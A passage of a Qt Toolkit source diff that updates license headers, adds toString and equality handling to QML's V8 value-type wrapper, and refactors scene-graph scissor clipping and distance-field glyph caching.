-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -103,15 +103,21 @@ QV8ValueTypeWrapper::~QV8ValueTypeWrapper()
void QV8ValueTypeWrapper::destroy()
{
+ qPersistentDispose(m_toString);
qPersistentDispose(m_constructor);
}
void QV8ValueTypeWrapper::init(QV8Engine *engine)
{
m_engine = engine;
+ m_toString = qPersistentNew<v8::Function>(v8::FunctionTemplate::New(ToString)->GetFunction());
v8::Local<v8::FunctionTemplate> ft = v8::FunctionTemplate::New();
ft->InstanceTemplate()->SetNamedPropertyHandler(Getter, Setter);
ft->InstanceTemplate()->SetHasExternalResource(true);
+ ft->InstanceTemplate()->MarkAsUseUserObjectComparison();
+ ft->InstanceTemplate()->SetAccessor(v8::String::New("toString"), ToStringGetter, 0,
+ m_toString, v8::DEFAULT,
+ v8::PropertyAttribute(v8::ReadOnly | v8::DontDelete));
m_constructor = qPersistentNew<v8::Function>(ft->GetFunction());
}
@@ -166,26 +172,85 @@ QVariant QV8ValueTypeWrapper::toVariant(QV8ObjectResource *r)
}
}
+bool QV8ValueTypeWrapper::isEqual(QV8ObjectResource *r, const QVariant& value)
+{
+ Q_ASSERT(r->resourceType() == QV8ObjectResource::ValueTypeType);
+ QV8ValueTypeResource *resource = static_cast<QV8ValueTypeResource *>(r);
+
+ if (resource->objectType == QV8ValueTypeResource::Reference) {
+ QV8ValueTypeReferenceResource *reference = static_cast<QV8ValueTypeReferenceResource *>(resource);
+ if (reference->object) {
+ reference->type->read(reference->object, reference->property);
+ return reference->type->isEqual(value);
+ } else {
+ return false;
+ }
+ } else {
+ Q_ASSERT(resource->objectType == QV8ValueTypeResource::Copy);
+ QV8ValueTypeCopyResource *copy = static_cast<QV8ValueTypeCopyResource *>(resource);
+ return (value == copy->value);
+ }
+}
+
+v8::Handle<v8::Value> QV8ValueTypeWrapper::ToStringGetter(v8::Local<v8::String> property,
+ const v8::AccessorInfo &info)
+{
+ Q_UNUSED(property);
+ return info.Data();
+}
+
+v8::Handle<v8::Value> QV8ValueTypeWrapper::ToString(const v8::Arguments &args)
+{
+ QV8ValueTypeResource *resource = v8_resource_cast<QV8ValueTypeResource>(args.This());
+ if (resource) {
+ if (resource->objectType == QV8ValueTypeResource::Reference) {
+ QV8ValueTypeReferenceResource *reference = static_cast<QV8ValueTypeReferenceResource *>(resource);
+ if (reference->object) {
+ reference->type->read(reference->object, reference->property);
+ return resource->engine->toString(resource->type->toString());
+ } else {
+ return v8::Undefined();
+ }
+ } else {
+ Q_ASSERT(resource->objectType == QV8ValueTypeResource::Copy);
+ QV8ValueTypeCopyResource *copy = static_cast<QV8ValueTypeCopyResource *>(resource);
+ QString result = copy->value.toString();
+ if (result.isEmpty() && !copy->value.canConvert(QVariant::String)) {
+ result = QString::fromLatin1("QVariant(%0)").arg(QString::fromLatin1(copy->value.typeName()));
+ }
+ return resource->engine->toString(result);
+ }
+ } else {
+ return v8::Undefined();
+ }
+}
+
v8::Handle<v8::Value> QV8ValueTypeWrapper::Getter(v8::Local<v8::String> property,
const v8::AccessorInfo &info)
{
QV8ValueTypeResource *r = v8_resource_cast<QV8ValueTypeResource>(info.This());
- if (!r) return v8::Undefined();
+ if (!r) return v8::Handle<v8::Value>();
// XXX This is horribly inefficient. Sadly people seem to have taken a liking to
// value type properties, so we should probably try and optimize it a little.
// We should probably just replace all value properties with dedicated accessors.
QByteArray propName = r->engine->toString(property).toUtf8();
+ if (propName == QByteArray("toString")) {
+ return r->engine->valueTypeWrapper()->m_toString;
+ }
+
int index = r->type->metaObject()->indexOfProperty(propName.constData());
if (index == -1)
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
+
if (r->objectType == QV8ValueTypeResource::Reference) {
QV8ValueTypeReferenceResource *reference = static_cast<QV8ValueTypeReferenceResource *>(r);
if (!reference->object)
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
+
r->type->read(reference->object, reference->property);
} else {
diff --git a/src/declarative/qml/v8/qv8valuetypewrapper_p.h b/src/declarative/qml/v8/qv8valuetypewrapper_p.h
index d08d89392c..2582560c0f 100644
--- a/src/declarative/qml/v8/qv8valuetypewrapper_p.h
+++ b/src/declarative/qml/v8/qv8valuetypewrapper_p.h
@@ -77,7 +77,12 @@ public:
QVariant toVariant(v8::Handle<v8::Object>);
QVariant toVariant(QV8ObjectResource *);
+ static bool isEqual(QV8ObjectResource *, const QVariant& value);
+
private:
+ static v8::Handle<v8::Value> ToStringGetter(v8::Local<v8::String> property,
+ const v8::AccessorInfo &info);
+ static v8::Handle<v8::Value> ToString(const v8::Arguments &args);
static v8::Handle<v8::Value> Getter(v8::Local<v8::String> property,
const v8::AccessorInfo &info);
static v8::Handle<v8::Value> Setter(v8::Local<v8::String> property,
@@ -86,6 +91,7 @@ private:
QV8Engine *m_engine;
v8::Persistent<v8::Function> m_constructor;
+ v8::Persistent<v8::Function> m_toString;
};
QT_END_NAMESPACE
diff --git a/src/declarative/qml/v8/qv8variantwrapper.cpp b/src/declarative/qml/v8/qv8variantwrapper.cpp
index d4097d7f74..de4f0ce2d7 100644
--- a/src/declarative/qml/v8/qv8variantwrapper.cpp
+++ b/src/declarative/qml/v8/qv8variantwrapper.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
@@ -159,17 +159,24 @@ QVariant QV8VariantWrapper::toVariant(QV8ObjectResource *r)
return static_cast<QV8VariantResource *>(r)->data;
}
-v8::Handle<v8::Value> QV8VariantWrapper::Getter(v8::Local<v8::String> property,
+QVariant &QV8VariantWrapper::variantValue(v8::Handle<v8::Value> value)
+{
+ Q_ASSERT(isVariant(value));
+ QV8VariantResource *r = v8_resource_cast<QV8VariantResource>(value->ToObject());
+ return static_cast<QV8VariantResource *>(r)->data;
+}
+
+v8::Handle<v8::Value> QV8VariantWrapper::Getter(v8::Local<v8::String> property,
const v8::AccessorInfo &info)
{
- return v8::Undefined();
+ return v8::Handle<v8::Value>();
}
v8::Handle<v8::Value> QV8VariantWrapper::Setter(v8::Local<v8::String> property,
v8::Local<v8::Value> value,
const v8::AccessorInfo &info)
{
- return v8::Undefined();
+ return value;
}
v8::Handle<v8::Value> QV8VariantWrapper::PreserveGetter(v8::Local<v8::String> property,
diff --git a/src/declarative/qml/v8/qv8variantwrapper_p.h b/src/declarative/qml/v8/qv8variantwrapper_p.h
index de74bc9e12..7e9924b3c0 100644
--- a/src/declarative/qml/v8/qv8variantwrapper_p.h
+++ b/src/declarative/qml/v8/qv8variantwrapper_p.h
@@ -74,6 +74,7 @@ public:
bool isVariant(v8::Handle<v8::Value>);
QVariant toVariant(v8::Handle<v8::Object>);
QVariant toVariant(QV8ObjectResource *);
+ QVariant &variantValue(v8::Handle<v8::Value>);
private:
static v8::Handle<v8::Value> Getter(v8::Local<v8::String> property,
diff --git a/src/declarative/qml/v8/qv8worker.cpp b/src/declarative/qml/v8/qv8worker.cpp
index 0d396d3304..d6998849e2 100644
--- a/src/declarative/qml/v8/qv8worker.cpp
+++ b/src/declarative/qml/v8/qv8worker.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qv8worker_p.h b/src/declarative/qml/v8/qv8worker_p.h
index 086e18e7e0..20a295a51c 100644
--- a/src/declarative/qml/v8/qv8worker_p.h
+++ b/src/declarative/qml/v8/qv8worker_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/script.pri b/src/declarative/qml/v8/script.pri
index 04a23d1f2b..7454d2004c 100644
--- a/src/declarative/qml/v8/script.pri
+++ b/src/declarative/qml/v8/script.pri
@@ -17,4 +17,6 @@ HEADERS += \
$$PWD/qscriptshareddata_p.h \
$$PWD/qscripttools_p.h \
$$PWD/qscript_impl_p.h \
- $$PWD/qscriptoriginalglobalobject_p.h
+ $$PWD/qscriptoriginalglobalobject_p.h \
+ $$PWD/qjsvalueiterator_p.h \
+ $$PWD/qjsvalueiterator_impl_p.h
diff --git a/src/declarative/qml/v8/v8.pri b/src/declarative/qml/v8/v8.pri
index 97b3d679df..9349742c78 100644
--- a/src/declarative/qml/v8/v8.pri
+++ b/src/declarative/qml/v8/v8.pri
@@ -5,6 +5,7 @@ include(script.pri)
HEADERS += \
$$PWD/qv8_p.h \
+ $$PWD/qv8debug_p.h \
$$PWD/qv8stringwrapper_p.h \
$$PWD/qv8engine_p.h \
$$PWD/qhashedstring_p.h \
@@ -18,7 +19,8 @@ HEADERS += \
$$PWD/qv8worker_p.h \
$$PWD/qv8bindings_p.h \
$$PWD/../../../3rdparty/javascriptcore/DateMath.h \
- $$PWD/qv8engine_impl_p.h
+ $$PWD/qv8engine_impl_p.h \
+ $$PWD/qv8domerrors_p.h
SOURCES += \
$$PWD/qv8stringwrapper.cpp \
@@ -34,3 +36,4 @@ SOURCES += \
$$PWD/qv8worker.cpp \
$$PWD/qv8bindings.cpp \
$$PWD/../../../3rdparty/javascriptcore/DateMath.cpp \
+ $$PWD/qv8domerrors.cpp
diff --git a/src/declarative/scenegraph/coreapi/qsgnode.cpp b/src/declarative/scenegraph/coreapi/qsgnode.cpp
index 70ca1fbf9c..95afbb51ab 100644
--- a/src/declarative/scenegraph/coreapi/qsgnode.cpp
+++ b/src/declarative/scenegraph/coreapi/qsgnode.cpp
@@ -84,13 +84,13 @@ static void qt_print_node_count()
QSGNode::QSGNode()
: m_parent(0)
, m_type(BasicNodeType)
- , m_subtreeGeometryCount(0)
- , m_nodeFlags(OwnedByParent)
- , m_flags(0)
, m_firstChild(0)
, m_lastChild(0)
, m_nextSibling(0)
, m_previousSibling(0)
+ , m_subtreeGeometryCount(0)
+ , m_nodeFlags(OwnedByParent)
+ , m_flags(0)
{
init();
}
@@ -98,13 +98,13 @@ QSGNode::QSGNode()
QSGNode::QSGNode(NodeType type)
: m_parent(0)
, m_type(type)
- , m_subtreeGeometryCount(type == GeometryNodeType ? 1 : 0)
- , m_nodeFlags(OwnedByParent)
- , m_flags(0)
, m_firstChild(0)
, m_lastChild(0)
, m_nextSibling(0)
, m_previousSibling(0)
+ , m_subtreeGeometryCount(type == GeometryNodeType ? 1 : 0)
+ , m_nodeFlags(OwnedByParent)
+ , m_flags(0)
{
init();
}
@@ -126,7 +126,7 @@ QSGNode::~QSGNode()
#ifndef QT_NO_DEBUG
--qt_node_count;
if (qt_node_count < 0)
- qDebug("Material destroyed after qt_print_node_count() was called.");
+ qDebug("Node destroyed after qt_print_node_count() was called.");
#endif
destroy();
}
diff --git a/src/declarative/scenegraph/coreapi/qsgrenderer.cpp b/src/declarative/scenegraph/coreapi/qsgrenderer.cpp
index 5a137adfe5..c92d943708 100644
--- a/src/declarative/scenegraph/coreapi/qsgrenderer.cpp
+++ b/src/declarative/scenegraph/coreapi/qsgrenderer.cpp
@@ -410,17 +410,32 @@ QSGRenderer::ClipType QSGRenderer::updateStencilClip(const QSGClipNode *clip)
m *= *clip->matrix();
// TODO: Check for multisampling and pixel grid alignment.
- bool canUseScissor = clip->isRectangular()
- && qFuzzyIsNull(m(0, 1)) && qFuzzyIsNull(m(0, 2))
- && qFuzzyIsNull(m(1, 0)) && qFuzzyIsNull(m(1, 2));
+ bool isRectangleWithNoPerspective = clip->isRectangular()
+ && qFuzzyIsNull(m(3, 0)) && qFuzzyIsNull(m(3, 1));
+ bool noRotate = qFuzzyIsNull(m(0, 1)) && qFuzzyIsNull(m(1, 0));
+ bool isRotate90 = qFuzzyIsNull(m(0, 0)) && qFuzzyIsNull(m(1, 1));
- if (canUseScissor) {
+ if (isRectangleWithNoPerspective && (noRotate || isRotate90)) {
QRectF bbox = clip->clipRect();
qreal invW = 1 / m(3, 3);
- qreal fx1 = (bbox.left() * m(0, 0) + m(0, 3)) * invW;
- qreal fy1 = (bbox.bottom() * m(1, 1) + m(1, 3)) * invW;
- qreal fx2 = (bbox.right() * m(0, 0) + m(0, 3)) * invW;
- qreal fy2 = (bbox.top() * m(1, 1) + m(1, 3)) * invW;
+ qreal fx1, fy1, fx2, fy2;
+ if (noRotate) {
+ fx1 = (bbox.left() * m(0, 0) + m(0, 3)) * invW;
+ fy1 = (bbox.bottom() * m(1, 1) + m(1, 3)) * invW;
+ fx2 = (bbox.right() * m(0, 0) + m(0, 3)) * invW;
+ fy2 = (bbox.top() * m(1, 1) + m(1, 3)) * invW;
+ } else {
+ Q_ASSERT(isRotate90);
+ fx1 = (bbox.bottom() * m(0, 1) + m(0, 3)) * invW;
+ fy1 = (bbox.left() * m(1, 0) + m(1, 3)) * invW;
+ fx2 = (bbox.top() * m(0, 1) + m(0, 3)) * invW;
+ fy2 = (bbox.right() * m(1, 0) + m(1, 3)) * invW;
+ }
+
+ if (fx1 > fx2)
+ qSwap(fx1, fx2);
+ if (fy1 > fy2)
+ qSwap(fy1, fy2);
GLint ix1 = qRound((fx1 + 1) * m_device_rect.width() * qreal(0.5));
GLint iy1 = qRound((fy1 + 1) * m_device_rect.height() * qreal(0.5));
@@ -435,7 +450,6 @@ QSGRenderer::ClipType QSGRenderer::updateStencilClip(const QSGClipNode *clip)
clipRect &= QRect(ix1, iy1, ix2 - ix1, iy2 - iy1);
}
- clipRect = clipRect.normalized();
glScissor(clipRect.x(), clipRect.y(), clipRect.width(), clipRect.height());
} else {
if (!stencilEnabled) {
diff --git a/src/declarative/scenegraph/qsgadaptationlayer_p.h b/src/declarative/scenegraph/qsgadaptationlayer_p.h
index 81b17a9000..f2c0cbe9ef 100644
--- a/src/declarative/scenegraph/qsgadaptationlayer_p.h
+++ b/src/declarative/scenegraph/qsgadaptationlayer_p.h
@@ -44,7 +44,7 @@
#include "qsgnode.h"
#include "qsgtexture.h"
-
+#include <private/qsgtext_p.h>
#include <QtCore/qobject.h>
#include <QtCore/qrect.h>
#include <QtGui/qcolor.h>
@@ -52,6 +52,8 @@
#include <QtGui/qglyphrun.h>
#include <QtCore/qurl.h>
+#include <private/qsgtext_p.h>
+
QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
@@ -100,11 +102,14 @@ public:
enum AntialiasingMode
{
GrayAntialiasing,
- SubPixelAntialiasing
+ LowQualitySubPixelAntialiasing,
+ HighQualitySubPixelAntialiasing
};
virtual void setGlyphs(const QPointF &position, const QGlyphRun &glyphs) = 0;
virtual void setColor(const QColor &color) = 0;
+ virtual void setStyle(QSGText::TextStyle style) = 0;
+ virtual void setStyleColor(const QColor &color) = 0;
virtual QPointF baseLine() const = 0;
virtual QRectF boundingRect() const { return m_bounding_rect; }
diff --git a/src/declarative/scenegraph/qsgcontext.cpp b/src/declarative/scenegraph/qsgcontext.cpp
index c5e4a7de24..2a9e007264 100644
--- a/src/declarative/scenegraph/qsgcontext.cpp
+++ b/src/declarative/scenegraph/qsgcontext.cpp
@@ -62,6 +62,7 @@
DEFINE_BOOL_CONFIG_OPTION(qmlFlashMode, QML_FLASH_MODE)
DEFINE_BOOL_CONFIG_OPTION(qmlTranslucentMode, QML_TRANSLUCENT_MODE)
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
/*
Comments about this class from Gunnar:
@@ -90,12 +91,14 @@ public:
: rootNode(0)
, renderer(0)
, gl(0)
+ , distanceFieldCacheManager(0)
, flashMode(qmlFlashMode())
+ , distanceFieldDisabled(qmlDisableDistanceField())
{
renderAlpha = qmlTranslucentMode() ? 0.5 : 1;
}
- ~QSGContextPrivate()
+ ~QSGContextPrivate()
{
}
@@ -108,11 +111,14 @@ public:
QHash<QSGMaterialType *, QSGMaterialShader *> materials;
+ QSGDistanceFieldGlyphCacheManager *distanceFieldCacheManager;
+
QMutex textureMutex;
QList<QSGTexture *> texturesToClean;
bool flashMode;
float renderAlpha;
+ bool distanceFieldDisabled;
};
@@ -142,6 +148,7 @@ QSGContext::~QSGContext()
delete d->rootNode;
cleanupTextures();
qDeleteAll(d->materials.values());
+ delete d->distanceFieldCacheManager;
}
/*!
@@ -286,20 +293,28 @@ QSGImageNode *QSGContext::createImageNode()
*/
QSGGlyphNode *QSGContext::createGlyphNode()
{
+ Q_D(QSGContext);
+
// ### Do something with these before final release...
static bool doSubpixel = qApp->arguments().contains(QLatin1String("--text-subpixel-antialiasing"));
+ static bool doLowQualSubpixel = qApp->arguments().contains(QLatin1String("--text-subpixel-antialiasing-lowq"));
static bool doGray = qApp->arguments().contains(QLatin1String("--text-gray-antialiasing"));
- if (QSGDistanceFieldGlyphCache::distanceFieldEnabled()) {
- QSGGlyphNode *node = new QSGDistanceFieldGlyphNode;
-
- if (doSubpixel)
- node->setPreferredAntialiasingMode(QSGGlyphNode::SubPixelAntialiasing);
- else if (doGray)
- node->setPreferredAntialiasingMode(QSGGlyphNode::GrayAntialiasing);
- return node;
- } else {
+ if (d->distanceFieldDisabled) {
return new QSGDefaultGlyphNode;
+ } else {
+ if (!d->distanceFieldCacheManager) {
+ d->distanceFieldCacheManager = new QSGDistanceFieldGlyphCacheManager(d->gl);
+ if (doSubpixel)
+ d->distanceFieldCacheManager->setDefaultAntialiasingMode(QSGGlyphNode::HighQualitySubPixelAntialiasing);
+ else if (doLowQualSubpixel)
+ d->distanceFieldCacheManager->setDefaultAntialiasingMode(QSGGlyphNode::LowQualitySubPixelAntialiasing);
+ else if (doGray)
+ d->distanceFieldCacheManager->setDefaultAntialiasingMode(QSGGlyphNode::GrayAntialiasing);
+ }
+
+ QSGGlyphNode *node = new QSGDistanceFieldGlyphNode(d->distanceFieldCacheManager);
+ return node;
}
}
@@ -383,6 +398,21 @@ QSGTexture *QSGContext::createTexture(const QImage &image) const
/*!
+ Returns the minimum supported framebuffer object size.
+ */
+
+QSize QSGContext::minimumFBOSize() const
+{
+#ifdef Q_WS_MAC
+ return QSize(33, 33);
+#else
+ return QSize(1, 1);
+#endif
+}
+
+
+
+/*!
Returns a material shader for the given material.
*/
@@ -449,6 +479,24 @@ qreal QSGContext::renderAlpha() const
}
+/*!
+ Sets whether or not the scene graph should use the distance field technique to render text
+ */
+void QSGContext::setDistanceFieldEnabled(bool enabled)
+{
+ d_func()->distanceFieldDisabled = !enabled;
+}
+
+
+/*!
+ Returns true if the scene graph uses the distance field technique to render text
+ */
+bool QSGContext::isDistanceFieldEnabled() const
+{
+ return !d_func()->distanceFieldDisabled;
+}
+
+
/*!
Creates a new animation driver.
diff --git a/src/declarative/scenegraph/qsgcontext_p.h b/src/declarative/scenegraph/qsgcontext_p.h
index cc2be930f4..29a5aac4b9 100644
--- a/src/declarative/scenegraph/qsgcontext_p.h
+++ b/src/declarative/scenegraph/qsgcontext_p.h
@@ -102,6 +102,7 @@ public:
QSize *size,
const QSize &requestSize);
virtual QSGTexture *createTexture(const QImage &image = QImage()) const;
+ virtual QSize minimumFBOSize() const;
static QSGContext *createDefaultContext();
@@ -114,6 +115,9 @@ public:
void setRenderAlpha(qreal renderAlpha);
qreal renderAlpha() const;
+ void setDistanceFieldEnabled(bool enabled);
+ bool isDistanceFieldEnabled() const;
+
virtual QAnimationDriver *createAnimationDriver(QObject *parent);
signals:
diff --git a/src/declarative/scenegraph/qsgdefaultglyphnode_p.h b/src/declarative/scenegraph/qsgdefaultglyphnode_p.h
index 16e267b605..993eabcd3c 100644
--- a/src/declarative/scenegraph/qsgdefaultglyphnode_p.h
+++ b/src/declarative/scenegraph/qsgdefaultglyphnode_p.h
@@ -64,6 +64,8 @@ public:
virtual void setColor(const QColor &color);
virtual void setPreferredAntialiasingMode(AntialiasingMode) { }
+ virtual void setStyle(QSGText::TextStyle) { }
+ virtual void setStyleColor(const QColor &) { }
virtual void update() { }
diff --git a/src/declarative/scenegraph/qsgdistancefieldglyphcache.cpp b/src/declarative/scenegraph/qsgdistancefieldglyphcache.cpp
index 2cd3db4074..ff4913a7b5 100644
--- a/src/declarative/scenegraph/qsgdistancefieldglyphcache.cpp
+++ b/src/declarative/scenegraph/qsgdistancefieldglyphcache.cpp
@@ -86,6 +86,21 @@ static inline int qt_next_power_of_two(int v)
return v;
}
+static float defaultThresholdFunc(float glyphScale)
+{
+ static float base = qgetenv("QT_DF_BASE").isEmpty() ? 0.5f : qgetenv("QT_DF_BASE").toFloat();
+ static float baseDev = qgetenv("QT_DF_BASEDEVIATION").isEmpty() ? 0.065f : qgetenv("QT_DF_BASEDEVIATION").toFloat();
+ static float devScaleMin = qgetenv("QT_DF_SCALEFORMAXDEV").isEmpty() ? 0.15f : qgetenv("QT_DF_SCALEFORMAXDEV").toFloat();
+ static float devScaleMax = qgetenv("QT_DF_SCALEFORNODEV").isEmpty() ? 0.3f : qgetenv("QT_DF_SCALEFORNODEV").toFloat();
+ return base - ((qBound(devScaleMin, glyphScale, devScaleMax) - devScaleMin) / (devScaleMax - devScaleMin) * -baseDev + baseDev);
+}
+
+static float defaultAntialiasingSpreadFunc(float glyphScale)
+{
+ static float range = qgetenv("QT_DF_RANGE").isEmpty() ? 0.06f : qgetenv("QT_DF_RANGE").toFloat();
+ return range / glyphScale;
+}
+
namespace
{
enum FillHDir
@@ -782,46 +797,17 @@ static bool fontHasNarrowOutlines(const QRawFont &f)
return minHThick == 1 || minVThick == 1;
}
-DEFINE_BOOL_CONFIG_OPTION(disableDistanceField, QML_DISABLE_DISTANCEFIELD)
-
-QHash<QPair<const QGLContext *, QFontEngine *>, QSGDistanceFieldGlyphCache *> QSGDistanceFieldGlyphCache::m_caches;
-QHash<QFontEngine *, QGLContextGroupResource<QSGDistanceFieldGlyphCache::DistanceFieldTextureData> > QSGDistanceFieldGlyphCache::m_textures_data;
-
-QSGDistanceFieldGlyphCache *QSGDistanceFieldGlyphCache::get(const QGLContext *ctx, const QRawFont &font)
-{
- QRawFontPrivate *fontD = QRawFontPrivate::get(font);
- QPair<const QGLContext *, QFontEngine *> key(ctx, fontD->fontEngine);
- QHash<QPair<const QGLContext *, QFontEngine *>, QSGDistanceFieldGlyphCache *>::iterator atlas = m_caches.find(key);
- if (atlas == m_caches.end())
- atlas = m_caches.insert(key, new QSGDistanceFieldGlyphCache(ctx, font));
-
- return atlas.value();
-}
-
-QSGDistanceFieldGlyphCache::DistanceFieldTextureData *QSGDistanceFieldGlyphCache::textureData()
-{
- return m_textures_data[QRawFontPrivate::get(m_font)->fontEngine].value(ctx);
-}
-
-QSGDistanceFieldGlyphCache::QSGDistanceFieldGlyphCache(const QGLContext *c, const QRawFont &font)
- : QObject()
+QSGDistanceFieldGlyphCacheManager::QSGDistanceFieldGlyphCacheManager(const QGLContext *c)
+ : ctx(c)
+ , m_threshold_func(defaultThresholdFunc)
+ , m_antialiasingSpread_func(defaultAntialiasingSpreadFunc)
, m_maxTextureSize(0)
- , ctx(c)
- , m_blitProgram(0)
{
- Q_ASSERT(font.isValid());
- m_font = font;
-
- m_textureData = textureData();
-
- QRawFontPrivate *fontD = QRawFontPrivate::get(m_font);
- m_glyphCount = fontD->fontEngine->glyphCount();
-
- m_textureData->doubleGlyphResolution = fontHasNarrowOutlines(font) && m_glyphCount < QT_DISTANCEFIELD_HIGHGLYPHCOUNT;
-
- m_referenceFont = m_font;
- m_referenceFont.setPixelSize(QT_DISTANCEFIELD_BASEFONTSIZE);
- Q_ASSERT(m_referenceFont.isValid());
+#ifndef QT_OPENGL_ES
+ m_defaultAntialiasingMode = QSGGlyphNode::HighQualitySubPixelAntialiasing;
+#else
+ m_defaultAntialiasingMode = QSGGlyphNode::GrayAntialiasing;
+#endif
m_vertexCoordinateArray[0] = -1.0f;
m_vertexCoordinateArray[1] = -1.0f;
@@ -841,24 +827,88 @@ QSGDistanceFieldGlyphCache::QSGDistanceFieldGlyphCache(const QGLContext *c, cons
m_textureCoordinateArray[6] = 0.0f;
m_textureCoordinateArray[7] = 1.0f;
- connect(QGLSignalProxy::instance(), SIGNAL(aboutToDestroyContext(const QGLContext*)),
- this, SLOT(onContextDestroyed(const QGLContext*)));
+ m_blitProgram = new QGLShaderProgram;
+ {
+ QString source;
+ source.append(QLatin1String(qglslMainWithTexCoordsVertexShader));
+ source.append(QLatin1String(qglslUntransformedPositionVertexShader));
+
+ QGLShader *vertexShader = new QGLShader(QGLShader::Vertex, m_blitProgram);
+ vertexShader->compileSourceCode(source);
+
+ m_blitProgram->addShader(vertexShader);
+ }
+ {
+ QString source;
+ source.append(QLatin1String(qglslMainFragmentShader));
+ source.append(QLatin1String(qglslImageSrcFragmentShader));
+
+ QGLShader *fragmentShader = new QGLShader(QGLShader::Fragment, m_blitProgram);
+ fragmentShader->compileSourceCode(source);
+
+ m_blitProgram->addShader(fragmentShader);
+ }
